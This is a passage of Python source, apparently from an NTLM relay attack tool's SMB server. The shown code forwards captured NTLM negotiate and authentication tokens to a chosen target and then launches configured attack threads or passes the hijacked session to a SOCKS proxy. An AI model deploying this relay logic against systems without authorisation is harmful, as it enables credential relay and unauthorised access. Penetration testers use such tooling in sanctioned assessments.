778 respData['Service'] = path
779 respData['PadLen'] = 0
780 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
782 respSMBCommand['Parameters'] = respParameters
783 respSMBCommand['Data'] = respData
785 resp['Uid'] = connData['Uid']
786 resp.addCommand(respSMBCommand)
787 smbServer.setConnectionData(connId, connData)
789 return None, [resp], errorCode
790 ################################################################################
792 #Initialize the correct client for the relay target
793 def init_client(self,extSec):
794 if self.target.scheme.upper() in self.config.protocolClients:
795 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)
796 client.initConnection()
797 else:
798 raise Exception('Protocol Client for %s not found!' % self.target.scheme)
801 return client
803 def do_ntlm_negotiate(self,client,token):
804 #Since the clients all support the same operations there is no target protocol specific code needed for now
805 return client.sendNegotiate(token)
807 def do_ntlm_auth(self,client,SPNEGO_token,challenge):
808 #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
809 clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)
811 return clientResponse, errorCode
813 def do_attack(self,client):
814 #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
815 # Check if SOCKS is enabled and if we support the target scheme
816 if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:
817 if self.config.runSocks is True:
818 # Pass all the data to the socksplugins proxy
819 activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),
820 self.authUser, client, client.sessionData))
821 return
823 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
824 if self.target.scheme.upper() in self.config.attacks:
825 # We have an attack.. go for it
826 clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser)
827 clientThread.start()
828 else:
829 LOG.error('No attack configured for %s' % self.target.scheme.upper())
831 def _start(self):
832 self.server.daemon_threads=True
833 self.server.serve_forever()
834 LOG.info('Shutting down SMB Server')
835 self.server.server_close()
837 def run(self):
838 LOG.info("Setting up SMB Server")
839 self._start()